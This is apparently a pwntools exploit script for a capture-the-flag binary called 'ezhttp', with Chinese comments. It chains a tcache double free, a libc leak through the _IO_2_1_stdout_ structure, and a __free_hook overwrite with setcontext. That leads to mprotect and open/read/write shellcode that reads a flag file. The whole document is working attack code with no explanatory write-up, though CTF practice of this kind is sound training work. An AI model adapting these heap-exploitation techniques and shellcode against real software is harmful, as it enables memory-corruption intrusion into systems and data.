#!/usr/bin/python
# coding:utf-8
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
p = process('./ezhttp')
libc = ELF('libc-2.27.so')

def Add(content):
    payload1  = 'POST\n/create\n' + 'Cookie: user' + '=' + 'admin'  + 'token: ' + '\r\n\r\n'
    payload1 += 'content='
    payload1 += content
    p.sendlineafter('==\n', payload1)

def Delete(index):
    payload1  = 'POST\n/del\n' + 'Cookie: user' + '=' + 'admin'  + 'token: '
    payload1 += '\r\n\r\n'
    payload1 += 'index=' + str(index)
    p.sendlineafter('==\n', payload1)

def Edit(index, content):
    payload1  = 'POST\n/edit\n' + 'Cookie: user' + '=' + 'admin'  + 'token: '
    payload1 += '\r\n\r\n'
    payload1 += 'index=' + str(index) + '&' + 'content='
    payload1 += content
    p.sendlineafter('==\n', payload1)

def leak():
    payload1  = 'POST\n/del\n' + 'Cookie: user' + '=' + 'admin'  + 'token: '
    payload1 += '\r\n\r\n' + 'AAA'
    p.sendlineafter('==\n', payload1)

def exploit():
    global p
    p = process('./ezhttp')
    Add('A'*0x60) #0
    p.recvuntil('Your gift: ')
    chunk_addr = int(p.recv(14), 16)
    info("chunk_addr ==> " + hex(chunk_addr))

    Add('A'*0xa0) #1

    # 防止chunk倍top chunk合并
    Add('A'*0x20) #2
    Add('A'*0x10) #3

    # double free
    Delete(0)
    Delete(0)

    # 填满tcache，把chunk放入unsortedbin中
    for i in range(7):
        Delete(1)

    Delete(1)

    # 控制tcache，修改main_arena位_IO_2_1_stdout_
    Delete(3)
    Delete(3)
    Delete(3)
    Delete(2)
    Delete(2)

    # 修改tcache 0x30处chunk地址
    Add(p64(chunk_addr - 0x208)) #4
    Add('A'*0x18)

    # 把_IO_2_1_stdout_添加到tcahce[0x30]
    Add(p64(chunk_addr + 0x70))

    # 把_IO_2_1_stdout_放在tcache[0x30]链表头部
    Add('A'*0x20)

    # 在tcache[0x20]处构造double free
    Delete(3)
    Delete(3)
    Delete(3)

    # 把 &tcache[0x30]放入tcache[0x20]
    Add(p64(chunk_addr - 0x208))

    # 修改地址为 &tcahce[0x30]的值为_IO_2_1_stdout_
    Add('A'*0x8)
    Add('\x60\xf7')

    # 把_IO_2_1_stdout_分配出来，并修改数据
    Add(p32(0xfbad1887) + 'A'*0x1c + '\xc0')

    try:
    # leak libc addr
        libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - 0x3eba00
        libc.address = libc_base
        info("libc_base ==> " + hex(libc_base))
    except:
        p.close()
        return 0

    setcontext = libc.symbols['setcontext']
    free_hook = libc.symbols['__free_hook']
    mprotect = libc.symbols['mprotect']

    #orw  = p64(chunk_addr + 0x268)
    orw  = shellcraft.open("flag", 0)
    orw += shellcraft.read('rax', chunk_addr + 0x300, 0x50)
    orw += shellcraft.write(1, chunk_addr + 0x300, 0x50)

    # 构造满足mprotect和orw的数据
    payload = '\x00'*0x68 + p64(chunk_addr - 0x260) # rsi
    payload = payload.ljust(0x70, '\x00')
    payload += p64(0x1000) # rsi
    payload = payload.ljust(0x88, '\x00')
    payload += p64(0x7) # rdx
    payload = payload.ljust(0xa0, '\x00')
    payload += p64(chunk_addr + 0x70) # rsp
    payload += p64(mprotect)

    # 修补unsortbin
    Edit(7, p64(libc_base + 0x3ebca0) + p64(libc_base + 0x3ebca0))

    # malloc 一个chunk把rop_chain写入
    Add('A'*0xe0)
    info("chunk_addr ==> " + hex(chunk_addr))
    Edit(12, payload)

    # malloc chunk写入orw
    Add('A'*0xa0)
    Edit(13, p64(chunk_addr + 0x78) + asm(orw))

    # double free 控制__free_hook
    Delete(3)
    Delete(3)
    Delete(3)
    Add(p64(free_hook))
    Add(p64(free_hook))
    Add(p64(setcontext + 0x35))
    Delete(12)
    p.interactive()
    p.close()
    return 1

if __name__ == '__main__':
    while True:
        a = exploit()
        if a:
            break
